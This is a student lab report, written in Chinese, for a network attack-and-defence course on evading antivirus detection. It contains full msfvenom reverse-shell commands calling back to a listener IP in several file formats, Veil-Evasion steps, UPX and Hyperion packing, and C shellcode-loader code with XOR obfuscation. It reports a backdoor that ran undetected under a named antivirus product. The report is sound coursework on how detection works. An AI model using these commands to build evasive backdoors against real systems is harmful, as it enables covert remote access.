20212422 2023-2024-2 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1实践目标
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 问题回答
1.2.1 杀软是如何检测出恶意代码的?
- 签名检测:这是最传统的方法,依赖于一个不断更新的恶意软件签名数据库。杀软通过比对文件的特征码(签名)与已知恶意软件的特征码进行匹配来检测恶意代码。
- 行为分析:杀软监控程序的行为,包括对文件、网络、系统资源的访问和修改。如果软件的行为模式与已知的恶意行为模式匹配,则可能被判定为恶意软件。
- 启发式分析:利用启发式算法分析未知软件的行为和代码结构,尝试发现未知的或变种的恶意软件。这种方法不仅仅依赖于已知的恶意软件数据库,而是尝试识别新的威胁。
- 沙箱执行:在一个隔离的环境(沙箱)中执行程序,分析其行为,从而不对实际系统造成影响。如果程序在沙箱中表现出恶意行为,那么它就可能被识别为恶意软件。
- 云检测:借助云计算技术,杀软可以迅速分析大量数据,识别新出现的恶意软件。这种方法可以有效地提高检测的速度和准确性。
1.2.2 免杀是做什么?
- 免杀是指通过各种技术手段避免恶意软件被杀毒软件检测到的行为。这通常涉及到对恶意软件代码的修改,使其能够绕过安全软件的检测机制,从而在未被发现的情况下在目标系统上执行。
1.2.3 免杀的基本方法有哪些?
①改变特征码
- 加壳
- 用encode进行编码
- 用其他语言进行重写再编译
②改变行为
- 改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 改变操作模式
- 基于内存操作
- 减少对系统的修改
③非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
1.3 实验环境
可疑文件分析网站,能够分析一个PE文件的免杀效果:
https://www.virustotal.com/gui/home/upload
2.实验过程
2.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
使用实验环境中的网站检测实验二中生成的后门程序:
2.1.1 多次编码
//编码1次,IP地址为Kali的IP地址
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode1.exe
//编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode10.exe
//编码22次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 22 -b '\x00' LHOST=192.168.163.129 LPORT=2422 -f exe > 20212422_encode22.exe
#修改编码次数,只需要修改 -i之后的那个数字即可
生成的三个文件分别是编码1次、10次、22次的文件。
对应的VirusTotal检测结果如下:
-
编码1次
-
编码10次
-
编码22次
据观察,变是有变化,但是感觉多次编码与免杀效果有什么必然关系,数值基本都很大,而且变化也不大。
2.1.2 不同输出格式
#输出jar文件,IP地址是Kali虚拟机IP
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> jar_20212422.jar
#输出php文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> php_20212422.php
#输出python文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.163.129 LPORT=2422 x> python_20212422.py
#输出apk文件,运行于android系统
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.163.129 LPORT=2422 x> apk_20212422.apk
利用virusTotal判断,免杀效果如下:
-
jar文件
-
php文件
-
py文件
-
apk文件
据上述virusTotal测试结果可知,py的免杀效果相对最好,php文件和apk文件差不多,最差的是jar文件。
可见,payload对免杀的效果是有影响的,而且python作为payload的效果比较好,可能跟解释性语言的特性有些关系。
- 接下来,我换了一个做法,使用以下命令:
#payload从反向连接换成了反向tcp_ssl连接,并且采输出用raw文件
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.163.129 LPORT=2422 -f raw > ssl_20212422.py
检测结果如下:
发现免杀率进一步提高了。
上图显示McAfee、Tencent等杀毒软件都没有发现病毒,说明这个文件很有希望在大众使用的电脑上实现免杀。
2.2 Veil-Evasion
2.2.1 下载Veil
这是实验中最最最最难受的一步,我在经过了无数次的失败之后,终于安装成功了。
详细步骤在问题及解决方案中给出。
2.2.2 使用Veil构造payload
使用如下命令:
#使用流程
veil #进入veil工具
use evasion #选择使用evasion模块
use c/meterpreter/rev_tcp.py #选择payload
#也可以先用“list”查看所有可选择的payload,然后直接使用“use+payload序号”来进行选择
set LHOST 192.168.163.140 #设置IP
set LPORT 2422 #设置端口
generate #执行payload
c_20212422veil #输入生成文件的名称
- 下面截图是生成 c/meterpreter/rev_tcp.py的过程截图:
- 除此之外,我还使用了ruby/meterpreter/rev_tcp.py和python/meterpreter/rev_tcp.py三种payload
在生成ruby/meterpreter/rev_tcp.py的时候,可能会遇到下面的这个问题:
使用如下命令即可解决:
//地址就是上述问题中提示的“not owned by you”前面提示的地址
sudo chown root:root -R /var/lib/veil/wine
2.2.3 分析生成的payload
- c_20212422veil.exe:
- ruby_20212422veil.exe:
- py_20212422veil.exe:
- 结论:Veil-Evasion的免杀效果与msfvenom相比差别不大,常用的payload免杀效果都不是太理想。同样的,ruby和python的免杀效果就比常用的c等要好。
2.3 加壳
2.3.1 压缩壳
apt-get install upx
//可以生成一个test.exe文件便于测试
upx 20212422_test.exe -o 20212422_upx1.exe
进行检测:
编码1次的检测数值是58,似乎加壳之后数值降了一些,但是降的不多。
2.3.2 加密壳
利用Hyperion对文件进行加密,并利用virusTotal进行免杀效果测试
命令如下:
//将待加密程序拷贝到工作目录下
cp 20212422_test.exe /usr/share/windows-resources/hyperion/
//进入工作目录下
cd /usr/share/windows-resources/hyperion
//前者为待加密程序名,后者为加密后程序名
wine hyperion.exe -v 20212422_encode1.exe 20212422_hyp.exe
进行免杀测试:
感觉有一些效果,但是效果不大。
2.4 C+shellcode编程
- 使用msfvenom生成一个shellcode数组,然后使用该数组编写一个c语言程序
#生成Shellcode
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.163.140 LPORT=2422 -f c
#编写程序
vim 20212422_shellcode.c #进入vim编辑器,没有文件会新建
#程序内容如下:
unsigned char buf[] = "生成的shellcode";
int main()
{
int (*func)() = (int(*)())buf;//buf强转成函数型指针
func();
}
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ 20212422_shellcode.c -o 20212422_shellcode.exe
- 生成shellcode
- 使用以下命令进行编译:
#编译器在64位系统上构建32位应用程序
i686-w64-mingw32-g++ 20212422shell.c -o 20212422shell.exe
- 进行免杀测试
从数值上分析,C+shellcode的免杀效果要比之前的好。
2.5 通过组合应用各种技术实现恶意代码免杀
2.5.1 C+shellcode编程
#先把处理后的文件输出为raw格式,再将第一步的输出结果作为输入传递给msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.163.140 LPORT=2422 -b '\x00' -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -i 2 -f c
- 把处理后的文件输出为raw格式,再将第一步的输出结果作为输入传递给msfvenom
2.5.2 C+shellcode+异或
- 进行如下操作:
#对20212422XOR.c文件进行编辑,该文件的作用是输出异或后的shellcode到20212422XOR.txt中
vim 20212422XOR.c
#20212422XOR.c文件内容
#此文件用gcc 20212422XOR.c -o 20212422XOR.out和./20212422XOR.out来运行
#include<stdio.h>
#include <stdlib.h>
unsigned char buf[] = "异或前的shellcode";
int main()
{
FILE *fptr;
fptr = fopen("20212422XOR.txt", "w");
int i;
for (i = 0; i < sizeof(buf)-1; i++)
{
buf[i] ^= 0x01;
fprintf(fptr,"\\x%x", buf[i]);
}
if(fptr == NULL)
{
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}
- 接下来进行C+shellcode操作
#进入cr.c文件
vim cr.c
#该文件编译用
i686-w64-mingw32-g++ cr.c -o cr.exe
#cr.c文件内容
unsigned char buf[] = "异或后的shellcode";
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
}
int (*func)() = (int(*)())buf;
func();
}
- 对cr.exe文件进行免杀检测:
2.5.3 C+shellcode+异或+加密壳
- 加密壳操作,使用Hyperion对文件进行加密
cp cr.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v cr.exe cr_hyp.exe
- 免杀检测结果
发现,在进行加密壳处理之后,数值反而大幅上升。
2.5.4 C+shellcode+异或+加密壳+压缩壳
- 将2.5.3中生成的cr_hyp.exe做压缩壳处理:
upx cr_hyp.exe -o cr_hyp_upx.exe
- 免杀检测结果
发现再进行压缩壳处理之后免杀效果仍不太理想。
2.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
- 在进行这步操作时,我使用了金山毒霸杀软,以下是详细信息:
之后的操作都在该杀软开启的情况下进行操作。
- 用自己的Win10主机作为另一台电脑。
在Veil-Evasion中选择cs/shellcode_inject/virtual.py
输入generate,进行参数配置
- 将生成的cr_backdoor.exe文件传到Win10主机上。
- 在Linux端输入exploit运行监听模块,并在Windows终端运行后门cr_backdoor.exe文件(实验二操作)
- 先监听,再运行后门文件
- 所有操作进行时金山毒霸均没有报警,操作成功!
- 随后我对后门文件所在目录进行查杀,发现了一个病毒,但是这个病毒是我实验二的时候生成的后门文件20212422_backdoor.exe,而不是本实验生成的后门文件cr_backdoor.exe。
-
至此,本次实验圆满结束!
-
P.S.
- 在进行最后一步的时候,我还尝试使用了火绒安全软件,结果刚把cr_backdoor.exe文件传到Win10主机,马上就被火绒截获。
- 我使用火绒进行自定义查杀,发现除了实验二和三生成的两个.exe文件外,甚至连ncat文件都被拦截了。
在这里,我不得不感慨火绒确实很强大,但是也侧面体现出,金山毒霸杀毒软件的病毒库确实不怎么强大。
(在主机里下载金山毒霸,感觉还是需要很大的勇气的• .•̀)
4. 问题及解决方案
4.1 安装Veil的问题(最大的难题っ◞‸◟c)
- 这是本次实验中遇到的困难最多,最折磨也是最难受的问题,这一步安装不成功会导致整个实验无法进行。
为了解决veil安装问题,我几乎将所有能尝试的方法都试了个遍,虚拟机重新安装了无数次,但是依然没能解决。- 起先一直是Python3.4.4不成功的问题,就是图形化的安装界面一直不出现,有一次运气好出现了,但是在安装的时候点击next就卡住了,一直没反应。使用**/usr/share/veil/config/setup.sh --force --silent**这句指令也完全没用,Python死活安装不下来。
- 我在网上查询后,认为是64位系统的兼容性问题导致下载不了wine,所以先是用sudo dpkg --add-architecture i386开启i386支持,发现无法解决。
- 然后我又重新换了一台32位的Kali虚拟机,惊喜的发现python安装居然能一直next了!但是,又卡在了ruby1.8.7的安装上,问题也和python3.4.4类似,不出现图形化安装界面,一直失败 ˃̣̣̥᷄⌓˂̣̣̥᷅
- 最后,我甚至采用docker拉取的方法尝试了一遍,但是docker拉取不了,所以也没法安装veil。
但是最后我还是安装成功了,感觉是因为我从根源上就解决了问题:原本我用的是2023.4版本的amd64的Kali镜像,在换成了2022-2的Kali镜像文件,重装虚拟机,然后所有的问题就迎刃而解了。
- 以下是我的详细问题解决及安装步骤:
4.1.1 Kali镜像选择
- 我这里推荐选择2022.2版本的amd64的Kali镜像,可能背后有一些特殊的兼容性问题,但是在我的数次尝试下,只有这个版本的Kali我能成功安装veil。
- 多版本Kali镜像下载网站:
https://old.kali.org/kali-images/
4.1.2 安装veil
- 在安装正确版本的Kali虚拟机之后,问题几乎就少了一大半。
4.1.2.1 虚拟机快照
- 这里推荐使用VMware的虚拟机快照功能,使用快照可以再进行安装的关键操作前,保存一个当前状态,一旦之后出现安装问题,可以快速回到快照保存的状态进行操作,避免了重复重装虚拟机等繁杂操作。
- 拍摄快照(保存当前状态)
- 管理快照和回到某个快照节点
- 选择对应位置点击转到就能快速回到某个时间点
也可以在左上角的“虚拟机——快照”里进行对应操作。
4.1.2.2 安装过程
- 首先,两个命令,以便于后续veil中的安装能顺利进行。
sudo apt-get install pip
sudo apt-get install git
- 接下来,进行正常的安装,推荐跟着以下教程一步一步走,不跳步,也不进行其他无关操作(不用换源,不断网)。
Veil安装、启动、Can‘t find the WINE profile问题 - 一旦失败,就回到之前操作的快照,重复进行操作
跟着教程结束之后,veil就能够顺利使用了,最复杂,最费时间的问题在此刻解决!ᖘ ❛‿˂̵✧
4.2 /var/cache/apt/archives/内存不足问题:
- 在安装veil的时候,因为所需要的空间比较大,可能会出现you don’t have enough free space的问题
- 这时候,就可以采用以下方法尝试解决
解决内存不足问题 - 如果还是不能解决,那就检查自己存放虚拟机的硬盘空间是否足够,建议在安装虚拟机的时候,选择一个空间比较大的盘(极其不推荐直接放在C盘里,装veil的时候C盘肯能会爆红,本机和Kali都可能会变得很卡)
- 这时候,就可以采用以下方法尝试解决
4.3 Unable to create output file问题
- 使用Veil在生成ruby/meterpreter/rev_tcp.py的时候遇到的无法生成.exe文件的问题
使用如下命令即可解决(修改权限):
//地址就是上述问题中提示的“not owned by you”前面提示的地址
sudo chown root:root -R /var/lib/veil/wine
5.实验感想
本次实验是网络与系统攻防技术的第三次实验,本次实验中,我接触了一些免杀工具,也学习了msf编码、veil免杀、加壳等一系列的免杀方法。总体上来说,本次实验的内容还是很有意思的,特别是当自己用不同payload的文件放到VirusTotal网站里进行检测,看着或相似或差别很大的免杀数值的时候,确实是有那么一点“菜鸟黑客”的感觉了。
这次实验我的大部分时间都花费在安装veil上,在遇到许多奇奇怪怪的Error的同时,我也非常深刻地意识到了不能什么都靠CSDN,有很多问题根本没法解决,跟着某些“大神”的操作甚至能把报错红一行变成红十行,直接原地爆炸(这里就体现了快照的作用了,最起码不用重装虚拟机⁼̴̀ .̫ ⁼̴)。
在做这次实验的时候我也参考了很多学长学姐的报告,在对比一年前VirusTotal的免杀检测结果和现在的结果的时候,真的有意识到现在恶意代码和杀软的发展都是十分迅速的,一年前用ruby生成的payload免杀检测数值降低是很明显的,甚至能降到个位数,但是当现在我再去尝试的时候,发现数值并不低,也就是说杀软的功能越来越强大,免杀也变得越来越困难,看来扎实基础、紧跟时代,才是学习的真谛啊ヽ( °▽゚)ノ